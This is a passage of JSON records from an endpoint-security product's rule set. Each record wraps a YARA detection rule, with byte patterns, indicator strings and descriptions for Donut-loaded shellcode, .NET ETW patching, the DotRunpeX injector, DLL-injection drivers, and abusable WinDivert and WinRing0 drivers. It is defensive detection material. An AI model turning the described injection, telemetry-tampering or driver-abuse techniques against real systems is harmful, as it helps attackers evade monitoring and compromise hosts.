+    "https://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1027/\nhttps://github.com/TheWover/donut\nhttps://thewover.github.io/Introducing-Donut/"
+  ],
+  "name": "donut_loader_e84ada1a5aa2.yar",
+  "content": "rule donut_loader_e84ada1a5aa2 {\n    meta:\n        title = \"Donut Loader (e84ada1a5aa2)\"\n        id = \"98485616-aab4-4b2b-bb13-e84ada1a5aa2\"\n        description = \"Detects an x64 shellcode or executable wrapped with Donut v0.9.2.\\nDonut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies.\\nThis shellcode may be used to inject the Assembly into arbitrary Windows processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1027/\\nhttps://github.com/TheWover/donut\\nhttps://thewover.github.io/Introducing-Donut/\"\n        date = \"2021-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027\"\n        classification = \"Windows.HackTool.Donut\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $dll1 = {\n            48 8B 45 ??                             // mov     rax, [rbp+var_8]\n            48 8B 40 30                             // mov     rax, [rax+30h]\n            48 8B 4D 20                             // mov     rcx, [rbp+arg_10]\n            48 8B 55 18                             // mov     rdx, [rbp+arg_8]\n            49 89 C9                                // mov     r9, rcx\n            49 89 D0                                // mov     r8, rdx\n            48 89 C2                                // mov     rdx, rax\n            48 8B 4D 10                             // mov     rcx, [rbp+arg_0]\n            E8 ?? ?? ?? ??                          // call    sub_307F\n            48 89 45 ??                             // mov     [rbp+var_10], rax\n            48 8B 45 ??                             // mov     rax, [rbp+var_8]\n            48 8B 00                                // mov     rax, [rax]\n            48 89 45 ??                             // mov     [rbp+var_8], rax\n            48 8B 45 ??                             // mov     rax, [rbp+var_8]\n            48 8B 40 30                             // mov     rax, [rax+30h]\n            48 85 C0                                // test    rax, rax\n            74 ??                                   // jz      short loc_3552\n            48 83 7D ?? 00                          // cmp     [rbp+var_10], 0\n            74 ??                                   // jz      short loc_350D\n        }\n\n        $dll2 = {\n            C6 44 05 ?? 64                          // mov     [rbp+rax+1E0h+var_1C0], 64h ; 'd'\n            8B 85 ?? ?? 00 00                       // mov     eax, [rbp+1E0h+var_4]\n            83 C0 02                                // add     eax, 2\n            89 C0                                   // mov     eax, eax\n            C6 44 05 ?? 6C                          // mov     [rbp+rax+1E0h+var_1C0], 6Ch ; 'l'\n            8B 85 ?? ?? 00 00                       // mov     eax, [rbp+1E0h+var_4]\n            83 C0 03                                // add     eax, 3\n            89 C0                                   // mov     eax, eax\n            C6 44 05 ?? 6C                          // mov     [rbp+rax+1E0h+var_1C0], 6Ch ; 'l'\n            8B 85 ?? ?? 00 00                       // mov     eax, [rbp+1E0h+var_4]\n            83 C0 04                                // add     eax, 4\n            89 C0                                   // mov     eax, eax\n        }\n\n        $encryption_algorithm = {\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            8B 10                                   // mov     edx, [rax]\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 04                             // add     rax, 4\n            8B 00                                   // mov     eax, [rax]\n            01 C2                                   // add     edx, eax\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            89 10                                   // mov     [rax], edx\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 8D 50 04                             // lea     rdx, [rax+4]\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 04                             // add     rax, 4\n            8B 00                                   // mov     eax, [rax]\n            C1 C0 05                                // rol     eax, 5\n            89 C1                                   // mov     ecx, eax\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            8B 00                                   // mov     eax, [rax]\n            31 C8                                   // xor     eax, ecx\n            89 02                                   // mov     [rdx], eax\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 08                             // add     rax, 8\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 08                             // add     rdx, 8\n            8B 0A                                   // mov     ecx, [rdx]\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 0C                             // add     rdx, 0Ch\n            8B 12                                   // mov     edx, [rdx]\n            01 CA                                   // add     edx, ecx\n            89 10                                   // mov     [rax], edx\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 0C                             // add     rax, 0Ch\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 0C                             // add     rdx, 0Ch\n            8B 12                                   // mov     edx, [rdx]\n            89 D1                                   // mov     ecx, edx\n            C1 C1 08                                // rol     ecx, 8\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 08                             // add     rdx, 8\n            8B 12                                   // mov     edx, [rdx]\n            31 CA                                   // xor     edx, ecx\n            89 10                                   // mov     [rax], edx\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 08                             // add     rax, 8\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 08                             // add     rdx, 8\n            8B 0A                                   // mov     ecx, [rdx]\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 04                             // add     rdx, 4\n            8B 12                                   // mov     edx, [rdx]\n            01 CA                                   // add     edx, ecx\n            89 10                                   // mov     [rax], edx\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            8B 00                                   // mov     eax, [rax]\n            C1 C0 10                                // rol     eax, 10h\n            89 C2                                   // mov     edx, eax\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 0C                             // add     rax, 0Ch\n            8B 00                                   // mov     eax, [rax]\n            01 C2                                   // add     edx, eax\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            89 10                                   // mov     [rax], edx\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 8D 50 0C                             // lea     rdx, [rax+0Ch]\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 0C                             // add     rax, 0Ch\n            8B 00                                   // mov     eax, [rax]\n            C1 C0 0D                                // rol     eax, 0Dh\n            89 C1                                   // mov     ecx, eax\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            8B 00                                   // mov     eax, [rax]\n            31 C8                                   // xor     eax, ecx\n            89 02                                   // mov     [rdx], eax\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 04                             // add     rax, 4\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 04                             // add     rdx, 4\n            8B 12                                   // mov     edx, [rdx]\n            89 D1                                   // mov     ecx, edx\n            C1 C1 07                                // rol     ecx, 7\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 08                             // add     rdx, 8\n            8B 12                                   // mov     edx, [rdx]\n            31 CA                                   // xor     edx, ecx\n            89 10                                   // mov     [rax], edx\n            48 8B 45 ??                             // mov     rax, [rbp+var_10]\n            48 83 C0 08                             // add     rax, 8\n            48 8B 55 ??                             // mov     rdx, [rbp+var_10]\n            48 83 C2 08                             // add     rdx, 8\n            8B 12                                   // mov     edx, [rdx]\n            C1 C2 10                                // rol     edx, 10h\n            89 10                                   // mov     [rax], edx\n            83 45 FC 01                             // add     [rbp+var_4], 1\n        }\n\n    condition:\n        $dll1 and $dll2 and $encryption_algorithm\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "donut_loader_e84ada1a5aa2"
+  ],
+  "rule_creation_date": "2021-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Donut"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dotnet_patchetw_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571691Z",
+  "creation_date": "2026-03-23T11:46:25.571693Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571698Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://red.hack-army.net/redteam/evasion/etw-evasion\nhttps://www.mdsec.co.uk/2020/03/hiding-your-net-etw/"
+  ],
+  "name": "dotnet_patchetw.yar",
+  "content": "import \"pe\"\n\nrule dotnet_patchetw {\n    meta:\n        title = \"DotNet patchETW\"\n        id = \"3b29b657-94db-4c48-9157-7e0bd2b974b7\"\n        description = \"Detects suspicious code in the .NET programming language that patches the ETW (Event Tracing for Windows). \\nETW is a feature that provides telemetry data from kernel and user spaces, used by EDR solutions. Attackers often disable ETW to hide their malicious actions.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://red.hack-army.net/redteam/evasion/etw-evasion\\nhttps://www.mdsec.co.uk/2020/03/hiding-your-net-etw/\"\n        date = \"2023-09-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.006;attack.t1562.001\"\n        classification = \"Windows.Generic.SuspiciousDotNet\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e8547e66968e28568a68e34661a699f645ac253842bf4f2fa4512ab783f5cd7b\n        // 7e2e049328295d66b968d51c9a8b5377e28aa817ec8a1eeeeb85074e2d99415e\n        // 870a4cfc58c388361c8834701aa8112a0de4155305e92aedc66e0384813d3439\n        // 4a09a7db3729524b264f61bd57d422714e43167d391eae1df73cad90c2982d07\n        // 5d355666219db06acc93d01c0973c0c0a5db514b5af2c43dd7d97075d7b78914\n\n        $s1 = \"PatchETW\" ascii fullword\n        $s2 = \"ntdll.dll\" wide fullword\n        $s3 = \"EtwEventWrite\" wide fullword\n\n    condition:\n        pe.imports (\"mscoree.dll\",\"_CorExeMain\") and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dotnet_patchetw"
+  ],
+  "rule_creation_date": "2023-09-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.SuspiciousDotNet"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-dotrunpex_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568482Z",
+  "creation_date": "2026-03-23T11:46:25.568484Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568490Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/\nhttps://cert.pl/en/posts/2023/09/unpacking-whats-packed-dotrunpex/"
+  ],
+  "name": "dotrunpex.yar",
+  "content": "rule dotrunpex {\n    meta:\n        title = \"DotRunpeX Injector\"\n        id = \"fc498474-0790-4a29-9269-eb2b705dd30b\"\n        description = \"Detects the DotRunpeX injector.\\nDotRunpeX is a .NET-based injection framework commonly used in second-stage infections to deliver various malware payloads. It is designed to inject malicious code into legitimate processes, often as part of a broader attack chain.\\nIt is recommended to analyze the affected process and its network activity to identify potential command-and-control (C2) communications and determine the scope of the infection.\"\n        references = \"https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/\\nhttps://cert.pl/en/posts/2023/09/unpacking-whats-packed-dotrunpex/\"\n        date = \"2023-09-18\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Injector.DotRunpeX\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b120d8658812d9d5dd2b0322b3e7aefa5d34ee2acaebdf15a8ef2d73f9743f22\n        // e217b089f11e6c38b12c658b52f2d215d8546ce2b61d999235e5f75e3c87fcd3\n\n        $runpe = \"RunpeX.Stub.Framework\" wide\n\n        $s1 = \"KoiVM.Runtime--test\" ascii fullword\n        $s2 = \"CryptoObfuscator 1.0\" ascii fullword\n        $s3 = \"\\\\Registry\\\\Machine\\\\System\\\\CurrentControlSet\\\\Services\\\\TaskKill\" wide fullword\n        $s4 = \"CryptoProtector [{0}]\" wide\n\n    condition:\n        (uint16(0) == 0x5a4d) and ($runpe or all of ($s*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "dotrunpex"
+  ],
+  "rule_creation_date": "2023-09-18",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Injector.DotRunpeX"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-driver_inject_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584622Z",
+  "creation_date": "2026-03-23T11:46:25.584624Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584629Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/undocumented-reddriver/\nhttps://github.com/strivexjun/DriverInjectDll/"
+  ],
+  "name": "driver_inject.yar",
+  "content": "import \"pe\"\n\nrule driver_inject {\n    meta:\n        title = \"DriverInjectDll Driver\"\n        id = \"6ab54917-e3df-4e43-9a40-b783740c5e47\"\n        description = \"Detects a malicious driver associated with the DriverInjectDll HackTool.\\nDriverInjectDll is a tool designed to inject DLLs into processes using a driver, enabling unauthorized code execution within targeted applications.\\nIt is recommended to analyze the memory of the injected processes as well as to investigate and remediate the loading of the malicious driver.\"\n        references = \"https://blog.talosintelligence.com/undocumented-reddriver/\\nhttps://github.com/strivexjun/DriverInjectDll/\"\n        date = \"2023-07-13\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055\"\n        classification = \"Windows.HackTool.DriverInjectDll\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 4b3bc7950ae984bb7570aaf0071988228482795d57d749789997d1eebe9c8e84\n\n        $tag1 = { 69 6E 6A 6C } // TAG_INJECTLIST 'ljni'\n        $tag2 = { 69 6E 6A 64 } // TAG_INJECTDATA 'djni'\n\n        $reg = {\n            50 51 52 53 6A FF 55 56 57 41 50 41 51 6A 10 41 // saveReg[]\n            53 41 54 41 55 41 56 41 57 00 CC CC CC CC CC CC\n            41 5F 41 5E 41 5D 41 5C 41 5B 41 5A 41 59 41 58 // restoneReg[]\n            5F 5E 5D 48 83 C4 08 5B 5A 59 58 00 CC CC CC CC\n        }\n\n        $strings = {\n            5C 00 53 00 79 00 73 00 74 00 65 00 6D 00 33 00 // \\System32\\ntdll.dll\n            32 00 5C 00 6E 00 74 00 64 00 6C 00 6C 00 2E 00\n            64 00 6C 00 6C 00 00 00 CC CC CC CC CC CC CC CC\n            5C 00 53 00 79 00 73 00 57 00 4F 00 57 00 36 00 // \\SysWOW64\\ntdll.dll\n            34 00 5C 00 6E 00 74 00 64 00 6C 00 6C 00 2E 00\n            64 00 6C 00 6C 00 00 00 CC CC CC CC CC CC CC CC\n            5C 00 44 00 65 00 76 00 69 00 63 00 65 00 5C 00 // \\Device\\CrashDumpUpload\n            43 00 72 00 61 00 73 00 68 00 44 00 75 00 6D 00\n            70 00 55 00 70 00 6C 00 6F 00 61 00 64 00 00 00\n            5C 00 44 00 6F 00 73 00 44 00 65 00 76 00 69 00 // \\DosDevices\\CrashDumpUpload\n            63 00 65 00 73 00 5C 00 43 00 72 00 61 00 73 00\n            68 00 44 00 75 00 6D 00 70 00 55 00 70 00 6C 00\n            6F 00 61 00 64 00 00 00 CC CC CC CC CC CC CC CC\n        }\n\n    condition:\n        all of them and pe.imports(\"ntoskrnl.exe\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "driver_inject"
+  ],
+  "rule_creation_date": "2023-07-13",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.DriverInjectDll"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-driver_windivert_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583031Z",
+  "creation_date": "2026-03-23T11:46:25.583033Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583039Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/"
+  ],
+  "name": "driver_windivert.yar",
+  "content": "rule driver_windivert {\n    meta:\n        title = \"WinDivert Driver\"\n        id = \"6eab77ec-306f-4029-90fa-e6eaba422e8e\"\n        description = \"Detects the WinDivert driver that can be used (signed or not) by threat actors to perform malicious network operations, such as network blocking, port redirection, and man-in-the-middle attacks directly through the Windows kernel.\\nWinDivert is a powerful packet filtering driver that can be used for legitimate network monitoring purposes. However, its capabilities can also be abused by malicious actors to intercept and manipulate network traffic, disrupt communication channels, or establish persistence.\"\n        references = \"https://rastamouse.me/ntlm-relaying-via-cobalt-strike/\"\n        date = \"2022-08-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1543.003\"\n        classification = \"Windows.Driver.WinDivert\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples :\n        // 2c37e853453e1e4782cf25ecf633506e59ad8f8649ff1c595966cc21234b19e8\n        // 9aae7e27dea211b5a3e87fe8027a502e416be3880f03793688ccdc506f06ed60\n\n        $s1 = \"\\\\Device\\\\WinDivert\" wide\n        $s2 = \"\\\\??\\\\WinDivert\" wide\n        $s3 = \"FilterForwardNetworkIPv6\" wide\n        $s4 = \"FilterForwardNetworkIPv4\" wide\n        $s5 = \"CalloutForwardNetworkIPv6\" wide\n        $s6 = \"CalloutForwardNetworkIPv4\" wide\n\n        $security_desc_1 = \"D:P(A;;GA;;;SY)\" fullword wide\n        $security_desc_2 = \"D:P(A;;GA;;;SY)(A;;GA;;;BA)\" fullword wide\n        $security_desc_3 = \"D:P(A;;GA;;;SY)(A;;GRGX;;;BA)\" fullword wide\n        $security_desc_4 = \"D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR;;;WD)\" fullword wide\n        $security_desc_5 = \"D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR;;;WD)(A;;GR;;;RC)\" fullword wide\n        $security_desc_6 = \"D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGW;;;WD)(A;;GR;;;RC)\" fullword wide\n        $security_desc_7 = \"D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGWGX;;;WD)(A;;GRGWGX;;;RC)\" fullword wide\n\n        $allocation_tag = { 57 44 69 76 }  // WDiv\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 300KB and 4 of ($s*) and 3 of ($security_desc_*) and #allocation_tag > 10\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "driver_windivert"
+  ],
+  "rule_creation_date": "2022-08-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Driver.WinDivert"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-driver_winring0_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568926Z",
+  "creation_date": "2026-03-23T11:46:25.568928Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568934Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/FEYE-2019-0004/FEYE-2019-0004.md"
+  ],
+  "name": "driver_winring0.yar",
+  "content": "import \"pe\"\n\nrule driver_winring0 {\n    meta:\n        title = \"WinRing0 Driver\"\n        id = \"5e518b89-cb85-4646-b14a-ceacd910ff1d\"\n        description = \"Detects the WinRing0 driver that can be used (signed or not) by threat actors to perform malicious operations through the kernel.\\nThe WinRing0 driver is known to be exploited by threat actors to perform various malicious activities such as killing security products, achieving persistence, and accessing credentials.\\nIt is recommended to conduct a thorough investigation to identify any malicious processes or activities associated with the WinRing0 driver.\"\n        references = \"https://github.com/mandiant/Vulnerability-Disclosures/blob/master/FEYE-2019-0004/FEYE-2019-0004.md\"\n        date = \"2022-08-02\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1543.003\"\n        classification = \"Windows.Driver.WinRing0\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample :\n        // 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5\n\n        $s1 = \"\\\\Device\\\\WinRing0_1_2_0\" fullword wide\n        $s2 = \"\\\\DosDevices\\\\WinRing0_1_2_0\" fullword wide\n\n        $writemsr = {\n            48 8B 51 04     // mov     rdx, [rcx+4]\n            48 C1 EA 20     // shr     rdx, 20h\n            8B 09           // mov     ecx, [rcx]\n            8B 40 04        // mov     eax, [rax+4]\n            0F 30           // wrmsr\n            48 8B 44 24 ??  // mov     rax, [rsp+arg_20]\n            83 20 00        // and     dword ptr [rax], 0\n            33 C0           // xor     eax, eax\n            EB ??           // jmp     short locret_114C7\n        }\n\n        $mmmapiospace = {\n            48 8B 09              // mov     rcx, [rcx]      ; PhysicalAddress\n            48 81 F9 00 00 0C 00  // cmp     rcx, 0C0000h\n            7C ??                 // jl      short loc_115C1\n            8B E8                 // mov     ebp, eax\n            48 8D 44 01 FF        // lea     rax, [rcx+rax-1]\n            48 3D FF FF 0F 00     // cmp     rax, 0FFFFFh\n            7F ??                 // jg      short loc_115C1\n            45 33 C0              // xor     r8d, r8d        ; CacheType\n            48 8B D5              // mov     rdx, rbp        ; NumberOfBytes\n            FF 15 ?? ?? ?? ??     // call    cs:MmMapIoSpace\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and\n        // Exclusion to avoid double matches with the recommended driver block list\n        // while still detecting WinRing0 instances signed with other certificates\n        for all i in (0 .. pe.number_of_signatures) : (\n            not pe.signatures[i].subject contains \"Noriyuki MIYAZAKI\"\n        ) and\n        filesize < 300KB and 1 of ($s*) and ($writemsr or $mmmapiospace)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "driver_winring0"
+  ],
+  "rule_creation_date": "2022-08-02",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Driver.WinRing0"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-duality_prestub_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
